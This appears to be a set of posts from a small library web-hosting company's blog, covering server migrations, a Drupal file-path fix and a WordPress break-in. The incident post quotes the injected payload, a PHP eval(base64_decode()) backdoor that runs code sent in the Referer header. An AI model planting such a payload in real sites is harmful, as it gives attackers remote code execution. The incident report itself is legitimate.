One of our busiest blogs got cracked recently, a SQL Injection attack succeeded in putting some nasty code into an outdated Wordpress install. It put a few small lines of code that was used to redirect links to some evil looking sites. The permalink_structure option in wp_options got changed to:

/%year%//%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

In that same table the rewrite_rules got changed quite a bit with some additional base64_decode and other redirects.

This meant any new posts had the guid changed in the wp_posts table to something like:

http://example.com/2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Luckily someone caught it within a day and let me know. I was able to patch the wordpress code and get the database cleaned up. I’m suprised mod_security didn’t catch this, as it seems like a fairly generic injection, but I did put a few new rules in place that should help us in the future.

It’s easy to forget about upgrading software, we all do it, but it’s something that is an absolute necessity.

So I moved a Drupal site to a new server and all the attachments vanished and started throwing 404 errors. It’s simple fix, but it wasn’t so obvious.

The file path had changed a bit (from /home3/user/ to /home/user/) which meant all the attached documents suddenly went 404. If you take look in the files table (and I’m talking Druapl 5 here) you’ll see filename and filepath. The full path on the server gets hard coded into the filepath right there for some reason, which surprised me. I would’ve thought it would pull the path from them File System variable, but it doesn’t.

Old servers never die, they just… wait, yes they do, they die, they die sudden, horrible painful deaths and lead to awful data loss and stress. The server affectionately known as .org will be put to sleep soon after serving us for about 6 years. The .org server was actually the second server for LISHost, we quickly outgrew the original server I started with at what was then called RackShack (Later ev1, and now theplanet.com). I’ve been working since the middle of December (That’s about 6 months now) to get everyone migrated. In the end I’ll have moved about 150 domains for about 120 people from .org to either the Dreamhost server or over to the server affectionately known as .net (which is a dedicated server at Softlayer). I’m almost done! I’m having troubles contacting 2 people, and there are 3 others that have yet to update their nameservers, but I feel like the long slow march is almost over.

If you’ve never moved a domain from one place to another, it goes something like this:
1. Set up a new account on the new server (this could be an shell account, or could also mean databases and emails)
2. Copy everything over (this could be just files, or could also mean databases and emails)
3. Test
4. Copy zone files for DNS
5. Change nameservers at domain name registrar
6. Cross fingers and hope you got everything

I handle most of those 6 steps, and it’s not really all that bad. It usually takes about 10 or 15 minutes, though many domains needed far more time. The biggest sticking point turned out to be #5, because for most of those 150 domains, I had no control and could only beg to get the name servers updated. It wasn’t unusual to send over a dozen emails to convince some people to change the name servers so I could complete the move. It was frustrating at first, but I quickly learned this is not the most important thing in the world to most people. I learned a few things I’d like to share.

1. Migrations like this are hard work, and take forever. Each site presented a unique set of challenges and there was no way to automate much of the work. Since I was moving people to several different places and using new names servers, there was nothing I could do to make it easier on myself. Many of the moves involved more time waiting than working.
2. People are busy, and for many of them their website is not the most important thing in their life. Some people couldn’t wait to move, others took several months, and one person has yet to respond to almost 20 emails.
3. I’ve been underestimating control panels. I’ve always done Linux work via the CLI. I know it well and for the most part it serves me well. But now that I’ve been using the Dreamhost control panel, I can see how web based control panels are not bad things. More importantly it’s FAR easier to teach someone how to use Plesk or cPanel than it is to learn all the craziness that is the command line. Being truly proficient at command line work takes years, and it’s a different way of thinking about interaction with a computer. And that’s going to be the biggest reason why the next LISHost server will have a control panel (probably Plesk). I’ll probably still use command line tools in the future, but having new options is never a bad thing.
4. Email is not overrated, dying, or even close to no longer useful. There is no possible way I could’ve done this via IM, Twitter, or anything else I’ve read will be replacing email.

With any luck the server will be completely empty in a day or two, which will give me about 2 weeks to clean up all the loose ends and make sure I didn’t miss anything. This has been the longest and most work intensive project I’ve done with LISHost, and I’m really looking forward to finishing it off. I plan on resting as much as possible this summer, and then we’ll start a much easier migration on .net. My plan is to stick with Softlayer, and have the BobCares guys do all the work. I’ll need to clean things up a bit and get organized, but that move will be quick and painless. The new .net will be bigger, better, faster and also have a control panel, which means it’ll be very easy for me to get more help!

I’ve been wanting to start a special blog for LISHost for quite some time now, and as the great migration of 2009 winds down, I’m hoping I’ll have more time to post some interesting hosting related things.  For anyone who has stumbled here by accident, LISHost is a small web host specializing in hosting for librarians and libraries.

I started LISHost in 2002 when my web site, LISNews.org, outgrew it’s home on a shared server. I spent about a year or so learning how to be a sysadmin with more than a little hand holding by Joe Frazee. LISHost started with about 10 sites, and has slowly grow over the years, with no advertising or marketing, to host over 200 domains.

LISHost is currently 3 dedicated servers, one VPS and an account at Dreamhost. It’s part time work for all of us, but we a fanatically about providing great uptime and support.

You can expect more here in the near future, stuff like announcements about the servers, new services, new sites, and stories about how we’re making things work. So Grab A Feed or follow us On Twitter, or just follow along right here.

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!